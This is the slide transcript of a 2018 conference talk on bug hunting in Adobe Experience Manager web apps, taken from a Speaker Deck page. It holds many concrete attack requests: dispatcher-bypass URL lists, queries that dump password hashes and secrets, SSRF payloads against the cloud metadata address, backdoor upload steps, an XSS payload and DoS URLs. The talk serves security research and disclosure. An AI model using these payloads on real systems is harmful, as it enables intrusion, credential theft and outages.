

Hunting for security bugs in AEM webapps

Hunting for security bugs in AEM webapps - @speakerdeck, Mikhail Egorov, Speaker Deck.

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Content

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Hunting for security bugs in AEM webapps - Speaker Deck

Hunting for security bugs in AEM webapps

Presented on Hacktivity 2018 conference - <https://www.hacktivity.com/bug-hunting-adobe-experience-manage>.

[[image: Avatar for Mikhail Egorov](#)]

Mikhail Egorov

October 13, 2018

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[A Hacker's perspective on AEM applications security](#)

[[image: Avatar for Mikhail Egorov](#)] 0ang3el](<https://speakerdeck.com/0ang3el>)

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hecks, but It's Still Risky — Automatically Verifying Permissions and Costs in AI's CDK —

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140

Tips4

[.png) yuriko1211](<https://speakerdeck.com/yuriko1211>)

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<title><a id="</title> HTML "></title> # LT_study

[ pizzacat83](<https://speakerdeck.com/pizzacat83>)

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[ tomoyafujita2016](<https://speakerdeck.com/tomoyafujita2016>)

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Go tools / The Current State of Ever-Evolving Go Tools

[%20(2)%20(1).png) hond0413](<https://speakerdeck.com/hond0413>)

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120

[Net--HTTP](#) / You might be able to stop the water flow of Lake Biwa but you can't stop Net::HTTP retries

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[End of SEO as We Know It \(SMX Advanced Version\)](#)

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[Leveraging LLMs for student feedback in introductory data science courses - posit::conf\(2025\)](#)

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[How to Grow Your eCommerce with AI & Automation](#)

[[\[image: Avatar for Katarina Dahlin\]](#) katarinadahlin](<https://speakerdeck.com/katarinadahlin>)

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230

[Discover your Explorer Soul](#)

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[Become a Pro](#)

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Jess Joyce - The Pitfalls of Following Frameworks

[ techseoconnect]

(<https://speakerdeck.com/techseoconnect>)

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VelocityConf: Rendering Performance Case Studies

[ addyosmani](<https://speakerdeck.com/addyosmani>)

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The Spectacular Lies of Maps

[ axbom](<https://speakerdeck.com/axbom>)

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We Analyzed 250 Million AI Search Results: Here's What I Found

[ joshbly](<https://speakerdeck.com/joshbly>)

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Refactoring Trust on Your Teams (GOTO; Chicago 2020)

[ rmw](<https://speakerdeck.com/rmw>)

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Rails Girls Zürich Keynote

[ gr2m](<https://speakerdeck.com/gr2m>)

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Transcript

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Hunting for in AEM webapps Mikhail Egorov @0ang3el Budapest 2018

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Mikhail Egorov, @0ang3el • Security researcher • Bug hunter (Bugcrowd,

H1) • In Top 20 on Bugcrowd • Conference speaker • Hack In The Box • Troopers • ZeroNights • PHDays • <https://twitter.com/0ang3el> • <https://www.slideshare.net/0ang3el> • <https://speakerdeck.com/0ang3el> • <https://github.com/0ang3el>

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Why this talk • AEM is an enterprise-grade CMS •

AEM is widely used by high-profile companies! 3/110

-

Why this talk Companies that use AEM and has public

Bug bounty or Vulnerability disclosure programs 4/110

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Why this talk • Using whatruns.com I grabbed 9985 unique

domains that use AEM • 5751 AEM installations were on <https://domain-name> or <https://www.domain-name> 5/110

-

Why this talk • AEM is big and complex =>

room for security bugs! • 26 known CVEs • Based on open source projects • Apache Felix • Apache Sling • Apache OAK JCR https://helpx.adobe.com/experience-manager/using/osgi_getting_started.html 6/110

-

Why this talk • New tools and techniques • Details

for fresh CVEs 7/110 Kudos to Jason Meyer (@zaptechsol)

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Previous work • PHDays 2015, @0ang3el • <https://www.slideshare.net/0ang3el/hacking-aem-sites> 8/110

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Previous work • 2016, @darkarnium • <http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html> 9/110

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Previous work • SEC-T 2018, @fransrosen • <https://speakerdeck.com/fransrosen/a-story-of-the-passive-aggressive-sysadmin-of-aem> 10/110

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Previous work • 2018, @JonathanBoumanium • <https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c> 11/110

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All mentioned vulnerabilities were reported to resource owners or Adobe

PSIRT and are fixed!!!

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AEM deployment and AEM dispatcher bypasses

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Common AEM deployment <https://aemcorner.com/aem-common-deploy-models/> Main blocks: • Author AEM instance

• Publish AEM instance • AEM dispatcher (~WAF) Interacts with Publish server via AEM Dispatcher!
4503/tcp 4502/tcp 443/tcp ? 14/110

-

AEM Dispatcher • Module for Web Server (Apache, IIS) •

<https://www.adobe.com/content/companies/public/adobe/dispatcher/dispatcher.html> •
Provides security (~WAF) and caching layers 15/110

-

AEM Dispatcher • In theory ... a front end system

offers an extra layer of security to your Adobe Experience Manager infrastructure • In practice ...
it's the only security layer!!! • Admins rarely keep all components on Publish updated and securely
configured 16/110

-

AEM Dispatcher • Dispatcher bypasses allow to talk to those

“insecure” components ... and have LULZ 17/110

-

AEM Dispatcher bypasses • CVE-2016-0957 • New bypass technique(no details

for now – not fixed) • Add multiple slashes • SSRF • ... 18/110

Using CVE-2016-0957 /filter { # Deny everything first and then

allow specific entries /0001 { /type "deny" /glob "" } /0023 { /type "allow" /url "/content" } # disable this rule to allow mapped content only /0041 { /type "allow" /url ".css" } # enable css /0042 { /type "allow" /url ".gif" } # enable gifs /0043 { /type "allow" /url ".ico" } # enable icos /0044 { /type "allow" /url ".js" } # enable javascript /0045 { /type "allow" /url ".png" } # enable png /0046 { /type "allow" /url ".swf" } # enable flash /0047 { /type "allow" /url ".jpg" } # enable jpg /0048 { /type "allow" /url ".jpeg" } # enable jpeg /0062 { /type "allow" /url "/libs/cq/personalization/*" } # enable personalization
Policy dispatcher.any before CVE-2016-0957 19/110

Using CVE-2016-0957 # Deny content grabbing /0081 { /type "deny"

/url ".infinity.json" } /0082 { /type "deny" /url ".tidy.json" } /0083 { /type "deny" /url ".sysview.xml" } /0084 { /type "deny" /url ".docview.json" } /0085 { /type "deny" /url ".docview.xml" } /0086 { /type "deny" /url ".[0-9].json" } # Deny query (and additional selectors) /0090 { /type "deny" /url ".query*.json" } } Policy dispatcher.any before CVE-2016-0957 20/110

Using CVE-2016-0957 https://aemsite/bin/querybuilder.json https://aemsite/bin/querybuilder.json/a.css https://aemsite/bin/querybuilder.json/a.html https://aemsite/bin/querybuilder.json/a.ico https://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css https://aemsite/bin/querybuilder.json/a.1.json Blocked

Allowed 21/110

Using CVE-2016-0957 https://aemsite/bin/querybuilder.json https://aemsite/bin/querybuilder.json/a.css /0090 { /type "deny" /url ".query.json"

} Last rule that matches the request is applied and has deny type!
ahttps://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css
https://aemsite/bin/querybuilder.json/a.1.json Blocked 22/110

Using CVE-2016-0957 https://aemsite/bin/querybuilder.json/a.css https://aemsite/bin/querybuilder.json/a.css /0041 { /type "allow" /url "*.css"

} # enable css Last rule that matches the request is applied and has allow type!
ahttps://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css
https://aemsite/bin/querybuilder.json/a.1.json Allowed 23/110

-

New bypass technique /filter { # Deny everything first and

then allow specific entries /0001 { /type "deny" /glob "" } # Allow non-public content directories /0023 { /type "allow" /url "/content" } # disable this rule to allow mapped content only # Enable extensions in non-public content directories, using a regular expression /0041 { /type "allow" /extension '(clientlibs|css|gif|ico|js|png|swf|jpe?g|woff2?)' } Policy dispatcher.any after CVE-2016-0957 24/110

-

New bypass technique # Enable features /0062 { /type "allow"

/url "/libs/cq/personalization/*" } # enable personalization # Deny content grabbing, on all accessible pages, using regular expressions /0081 { /type "deny" /selectors '((sys|doc)view|query|[0-9-]+)' /extension '(json|xml)' } Policy dispatcher.any after CVE-2016-0957 25/110

-

New bypass technique # Deny content grabbing for /content /0082

{ /type "deny" /path "/content" /selectors '(feed|rss|pages|languages|blueprint|infinity|tidy)' /extension '(json|xml|html)' } } Policy dispatcher.any after CVE-2016-0957 26/110

-

New bypass technique <https://aemsite/bin/querybuilder.json> <https://aemsite/bin/querybuilder.json/a.css> <https://aemsite/bin/querybuilder.json;%0aa.css> Blocked 27/110 Sorry, details

will be disclosed later!

-

Add multiple slashes • [///etc.json](#) instead of [/etc.json](#) • [///bin///querybuilder.json](#)

instead of [/bin/querybuilder.json](#) 28/110

-

Using SSRF • We need SSRF in a component that

is allowed by AEM dispatcher policy • Effective way to bypass AEM dispatcher! 29/110

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Things to remember • Usually AEM dispatcher is the only

security layer • Usually it's easy to bypass AEM dispatcher • AEM admins usually fail to configure Publish instance securely and install updates timely ... • Profit! 30/110

-

Quickly “sniff out” buggy AEM webapp

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Get JSON with JCR node props /.json /.1.json /.childrenlist.json /.ext.json

/4.2.1...json /json/a.css /json/a.html /json/a.png /json/a.ico /json;%0aa.css /content.json
/content.1.json /content.childrenlist.json /content.ext.json /content.4.2.1...json /content.json/a.css
/content.json/a.html /content.json/a.png /content.json/a.ico /content.json;%0aa.css /bin.json
/bin.1.json /bin.childrenlist.json /bin.ext.json /bin.4.2.1...json /bin.json/a.css /bin.json/a.html
/bin.json/a.png /bin.json/a.ico /bin.json;%0aa.css /bin /content 32/110

-

Yea baby this is AEM <https://<redacted>.twitter.com/.json> <https://<redacted>.twitter.com/.ext.json> 33/110

-

Invoke servlets /system/sling/loginstatus.json /system/sling/loginstatus.css /system/sling/loginstatus.png /system/sling/loginstatus.gif /system/sling/loginstatus.html /system/sling/loginstatus.json/a.1.json /system/sling/loginstatus.json;%0aa.css /system/bgservlets/test.json

/system/bgservlets/test.css /system/bgservlets/test.png /system/bgservlets/test.gif
/system/bgservlets/test.html /system/bgservlets/test.json/a.1.json
/system/bgservlets/test.json;%0aa.css /system/bgservlets/test /system/sling/loginstatus 34/110

-

Yea baby this is AEM <https://<redacted>.adobe.com/system/sling/loginstatus.css> <https://www.<redacted>/system/bgservlets/test.json> 35/110

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Grabbing juicy data from JCR

-

What we can find • Everything is stored in JCR

repository as node properties including: • Secrets (passwords, encryption keys, tokens) • Configuration • PII • Usernames 37/110

-

AEM servlets for grabbing loot • DefaultGetServlet • QueryBuilderJsonServlet •

QueryBuilderFeedServlet • GraphQLSearchServlet • ... 38/110

-

DefaultGetServlet • Allows to get JCR node with its props

• Selectors • tidy • infinity • numeric value: -1, 0, 1 ... 99999 • Formats • json • xml • res 39/110

-

DefaultGetServlet • Allows to get JCR node with its props

• Selectors • tidy • infinity • numeric value: -1, 0, 1 ... 99999 • Formats • json • xml • res good for retrieving files 40/110

-

DefaultGetServlet <https://aem.site/.tidy.3.json> jcr:root selector tidy selector depth output format Get

JCR nodes with props starting from jcr:root with depth 3 and return formatted JSON 41/110

-

DefaultGetServlet – How to grab • Get node names, start

from jcr:root • /.1.json • /.ext.json • /.childrenlist.json • Or guess node names: /content, /home, /var, /etc • Dump props for each child node of jcr:root • /content.json or /content.5.json or /content.-1.json 42/110

-

DefaultGetServlet – What to grab • Interesting nodes • /etc

– may contain secrets (passwords, enc. keys, ...) • /apps/system/config or /apps/<smth>/config (passwords, ...) • /var – may contain private information (PII) • /home – password hashes, PII • Interesting props – contain AEM users names • jcr:createdBy • jcr:lastModifiedBy • cq:LastModifiedBy 43/110

-

P1 submission for private BB program - AEM webapp reveals

DB passwords /apps/<redacted>/config.author.tidy.1..json/a.ico DefaultGetServlet – In the wild 44/110

-

• We can search JCR using different predicates • <https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuilder->

predicate-reference.html • QueryBuilderJsonServlet allows to get Nodes and their Props (DefaultGetServlet on steroids) • QueryBuilderFeedServlet allows to get Nodes (no Props) • but we can use blind binary search for Props QueryBuilder: JsonServlet & FeedServlet 45/110

QueryBuilder: JsonServlet & FeedServlet **///bin///querybuilder.json ///bin///querybuilder.json.servlet ///bin///querybuilder.json/a.css ///bin///querybuilder.json.servlet/a.css ///bin///querybuilder.json/a.ico ///bin///querybuilder.json.servlet/a.ico**

///bin///querybuilder.json;%0aa.css ///bin///querybuilder.json.servlet;%0aa.css
///bin///querybuilder.json/a.1.json ///bin///querybuilder.json.servlet/a.1.json
///bin///querybuilder.json.css ///bin///querybuilder.json.ico ///bin///querybuilder.json.html
///bin///querybuilder.json.png /bin/querybuilder.json ///bin///querybuilder.feed.servlet
///bin///querybuilder.feed.servlet/a.css ///bin///querybuilder.feed.servlet/a.ico
///bin///querybuilder.feed.servlet;%0aa.css ///bin///querybuilder.feed.servlet/a.1.json
/bin/querybuilder.feed.servlet 46/110

Examples of useful searches • type=nt:file&nodename=*.zip • path=/home&p.hits=full&p.limit=-1 • hasPermission=jcr:write&path=/content

• hasPermission=jcr:addChildNodes&path=/content •
hasPermission=jcr:modifyProperties&path=/content •
p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alastModifiedBy&property.operation=unequals&property.value=admin&type=nt%3abase&p.limit=1000 • path=/etc&path.flat=true&p.nodedepth=0 •
path=/etc/replication/agents.author&p.hits=full&p.nodedepth=-1 47/110

Examples of useful searches type=nt:file&nodename=*.zip P1 submission for private BB

– grab prod config for Author server 48/110

path=/home&p.hits=full&p.limit=-1 P1 submission for private BB – grab AEM users

hashed passwords Examples of useful searches 49/110

Examples of useful searches hasPermission=jcr:write&path=/content P2 submission for Twitter BB

– Persistent XSS with CSP bypass Root cause: • /content/usergenerated/etc/commerce/smartlists was writable for anon user • POST servlet was accessible for anon user 50/110

-

Examples of useful searches p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alastModifiedBy&property.operation=unequals&property.value=admin&type=nt%3abase&p.limit=1000 AEM users names!

51/110

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Examples of useful searches path=/etc&path.flat=true&p.nodedepth=0 path=/etc/cloudsettings&p.hits=full&p.nodedepth=-1 /etc.childrenlist.json /etc/cloudsettings.-1.json 52/110

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GQLSearchServlet • GQL is a simple fulltext query language, similar

to Lucene or Google queries • [https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?](https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html)

org/apache/jackrabbit/commons/query/GQL.html • We can get Node names (not Props) • but we can use blind binary search for Props 53/110

-

GQLSearchServlet ///bin///wcm/search/gql.servlet.json ///bin///wcm/search/gql.json ///bin///wcm/search/gql.json/a.1.json ///bin///wcm/search/gql.json;%0aa.css ///bin///wcm/search/gql.json/a.css ///bin///wcm/search/gql.json/a.ico ///bin///wcm/search/gql.json/a.png ///bin///wcm/search/gql.json/a.html /bin/wcm/search/gql.servlet.json

54/110

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GQLSearchServlet – examples of searches query=path:/etc%20type:base%20limit:...-1&pathPrefix= /etc.ext.infinity.json 55/110

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Enum users & brute creds

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Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users •

admin • author • ... 57/110

-

Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users •

admin • author • ... King of AEM Default password – admin 58/110

-

Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users •

admin • author • ... Has jcr:write for /content Default password – author 59/110

-

Brute creds • AEM supports basic auth, no bruteforce protection!

• LoginStatusServlet – /system/sling/loginstatus.json VS 60/110

-

LoginStatusServlet ///system///sling/loginstatus.json ///system///sling/loginstatus.json/a.css ///system///sling/loginstatus.json/a.ico ///system///sling/loginstatus.json;%0aa.css ///system///sling/loginstatus.json/a.1.json ///system///sling/loginstatus.css ///system///sling/loginstatus.ico ///system///sling/loginstatus.png ///system///sling/loginstatus.html

/system/sling/loginstatus.json 61/110

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P1 submission for Adobe VDP – Default admin creds Bugs

in the wild 62/110

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P1 submission for LinkedIn VDP – Weak passwords for some

AEM users Bugs in the wild 63/110

-

Getting code execution

-

Universal RCE variants • Uploading backdoor OSGI bundle • Requires

admin and access to /system/console/bundles • <https://github.com/0ang3el/aem-rce-bundle.git> (works for AEM 6.2 or newer) • Uploading backdoor jsp script to /apps • Requires write access to /apps • Requires ability to invoke SlingPostServlet • <https://sling.apache.org/documentation/getting-started/discover-sling-in-15-minutes.html> • ... 65/110

Generate skeleton for AEM bundle 66/110 mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \ -DarchetypeGroupId=com.adobe.granite.archetypes

\ -DarchetypeArtifactId=aem-project-archetype \ -DarchetypeVersion=1.1 \ -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/ mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \ -DarchetypeGroupId=com.day.jcr.vault \ -DarchetypeArtifactId=multimodule-content-package-archetype \ -DarchetypeVersion=1.0.2 \ -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/ For AEM 6.2 For AEM 5.6

Uploading backdoor bundle /bin/backdoor.html?cmd=ifconfig 67/110

GIF DEMO <https://www.youtube.com/watch?v=DXBvZbz7Z1s>

Uploading backdoor jsp script • Create node rcenode somewhere with

property sling:resourceType=rcetype • Create node /apps/rcetype and upload html.jsp with payload to node • Open <https://aem-site/rcenode.html?cmd=ifconfig> and have LULZ • <https://github.com/0ang3el/aem-hacker/blob/master/aem-rce-sling-script.sh> 69/110

<https://www.youtube.com/watch?v=RDFOt7r7VBk>

Server Side Request Forgery

SSRF in ReportingServicesProxyServlet CVE-2018-12809 • Versions: 6.0, 6.1, 6.2, 6.3,

6.4 • Allows to see the response • Leak secrets (IAM creds), RXSS (bypasses XSS filters), bypass dispatcher • <https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html>
/libs/cq/contentinsight/content/proxy/reportingservices.json
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet 72/110

SSRF in ReportingServicesProxyServlet /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy/reportingservices.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy/reportingservices.json/a.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a

/libs/cq/contentinsight/content/proxy/reportingservices.json/a.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy/reportingservices.json/a.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy/reportingservices.json/a.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy/reportingservices.json/a.1.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy/reportingservices.json;%0aa.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a 73/110

SSRF in ReportingServicesProxyServlet P1 submission for private BB – Leak

IAM role creds 74/110

SSRF in ReportingServicesProxyServlet P1 submission for private BB – Exfiltrate

secrets from /etc via SSRF 75/110

SSRF in ReportingServicesProxyServlet P2 submission for Adobe VDP – SSRF

and RXSS 76/110

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SSRF in SalesforceSecretServlet CVE-2018-5006 • Versions: 6.0, 6.1, 6.2, 6.3,

6.4 • Allows to see the response** • Leak secrets (IAM role creds), RXSS (bypasses XSS filters) •

<https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html>

/libs/mcm/salesforce/customer.json ** - Servlet makes POST request to URL 77/110

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SSRF in SalesforceSecretServlet /libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.html?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.ico?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.jpeg?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e

/libs/mcm/salesforce/customer.html/a.1.json?

checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx &code=e /libs/mcm/salesforce/customer.html;%0aa.css?

checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx &code=e /libs/mcm/salesforce/customer.json/a.css?

checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.json/a.png?

checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.json/a.gif?

checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e 78/110

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SSRF in SalesforceSecretServlet P1 submission for Adobe VDP – Leak

IAM role creds 79/110

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SSRF in SalesforceSecretServlet P2 submission for private BB – SSRF

and RXSS 80/110

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SSRF in SiteCatalystServlet No CVE from Adobe PSIRT • Allows

to blindly send POST requests • Allow to specify arbitrary HTTP headers via CRLF or LF injection • HTTP smuggling (works for Jetty)

/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet

/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json 81/110

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SSRF in SiteCatalystServlet 82/110

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SSRF in SiteCatalystServlet /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.ico?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.png?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.gif?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy

/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0aa.css?

datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy

/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/a.css?

datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy

/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json?

datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy

/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.html?

datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.css?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.png?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.1.json?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0aa.css?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy 83/110

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SSRF in AutoProvisioningServlet No CVE from Adobe PSIRT • Allows

to blindly send POST requests • Allow to inject arbitrary HTTP headers • HTTP smuggling (works for Jetty) /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json 84/110

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SSRF in AutoProvisioningServlet 85/110

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SSRF in AutoProvisioningServlet /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.css /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.html /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.ico /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.png /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.gif /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.1.json

/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json;%0aa.css 86/110

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SSRF to RCE • It's possible to escalate 2 SSRFs

to RCE on Publish server • Tested on AEM 6.2 before AEM-6.2-SP1-CFP7 fix pack •
https://www.adobecloud.com/content/marketplace/marketplaceProxy.html?packagePath=/content/companies/public/adobe/packages/cq620/cumulativefixpack/AEM-6.2-SP1-CFP7 87/110

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SSRF to RCE • Topology is used by replication mechanisms

in AEM • https://sling.apache.org/documentation/bundles/discovery-api-and-impl.html •
https://helpx.adobe.com/experience-manager/kb/HowToUseReverseReplication.html • To join Topology PUT request must be sent to TopologyConnectorServlet • TopologyConnectorServlet is

accessible on localhost only (default) • Via SSRF with HTTP smuggling we can access
TopologyConnectorServlet 88/110

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SSRF to RCE • When node joins the topology Reverse

replication agent is created automatically • Reverse replication agent replicates nodes from
malicious AEM server to Publish server ... RCE! 89/110

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<https://www.youtube.com/watch?v=awPJRIR47jo>

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<script> AEM XSS </script>

-

XSS variants • Create new node and upload SVG (jcr:write,

jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF
XSSES from @fransrosen • WCMDDebugFilter XSS – CVE-2016-7882 • See Philips XSS case
@JonathanBoumanium • Many servlets return HTML tags in JSON response 92/110

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@JonathanBoumanium • Many servlets return HTML tags in JSON response Persistent 93/110

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Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSES from @fransrosen
• WCMDDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many
servlets return HTML tags in JSON response XSS variants Reflected 94/110

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@JonathanBoumanium • Many servlets return HTML tags in JSON response 95/110

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SuggestionHandler servlet • /bin/wcm/contentfinder/connector/suggestions.json • Reflects pre parameter in JSON

response • What if Content-Type of response is based on file extension in URL: • /a.html 96/110

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XSS variants P3 submission for private BB – Reflected XSS

/bin/wcm/contentfinder/connector/suggestions.json/a.html?

query_term=path%3a/&pre=%3Csvg+onload%3Dalert(document.domain)%3E&post=yyyy 97/110

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DoS attacks

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DoS is easy • /.ext.infinity.json • /.ext.infinity.json?tidy=true • /bin/querybuilder.json?type=nt:base&p.limit=-1 •

/bin/wcm/search/gql.servlet.json?query=type:base%20limit:...- 1&pathPrefix= •

/content.assetsearch.json?query=&start=0&limit=10&random=123 • /..assetsearch.json?

query=&start=0&limit=10&random=123 • /system/bgservelets/test.json?

cycles=999999&interval=0&flushEvery=1111 11111 99/110

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DoS is easy /content.ext.infinity.1..json?tidy=true 100/110

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Other tricks

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ExternalJobPostServlet javadeser • Old bug, affects AEM 5.5 – 6.1

• <http://aempodcast.com/2016/podcast/aem-podcast-java-deserialization-bug/> •

/libs/dam/cloud/proxy.json • Parameter file accepts Java serialized stream and passes to ObjectInputStream.readObject() 102/110

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ExternalJobPostServlet javadeser Payload from oisdos tool 103/110

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ExternalJobPostServlet javadeser 104/110

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XXE via webdav • Old bug, CVE-2015-1833 • It's possible

to read local files with PROPFIND/PROPPATCH • <https://www.slideshare.net/0ang3el/what-should-a-hacker-know-about-webdav> 105/110

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XXE via webdav – webdav support is on? • Send

OPTIONS request • Allow headers in response contain webdav-related methods • Navigate to /crx/repository/test • 401 HTTP and WWW-Authenticate: Basic realm="Adobe CRX WebDAV" 106/110

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AEM hacker toolset

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AEM hacker toolset • <https://github.com/0ang3el/aem-hacker.git> • aem_hacker.py • aem_discoverer.py • aem_enum.py

• aem-rce-sling-script.sh • aem_ssrf2rce.py • aem_server.py & response.bin • You need VPS to run aem_hacker.py 108/110

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AEM hacker toolset – aem-hacker.py • Sensitive nodes exposure via

DefaultGetServlet (/apps, /etc, /home, /var) • QueryByulderJsonServlet & QueryByulderFeedServlet & GraphQLSearchServlet exposure • PostServlet exposure • SSRFs checks • LoginStatusServlet & default creds check • SWF XSSes • WCMDDebugFilter XSS • SuggestionHandler XSS • Log records exposure via AuditLogServlet • ExternalJobPostServlet javadeser • ... 109/110 Tries to bypass AEM dispatcher!!!

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THANK U! @0ang3el

Archived from <https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps>. Rendered offline from the local Markdown copy.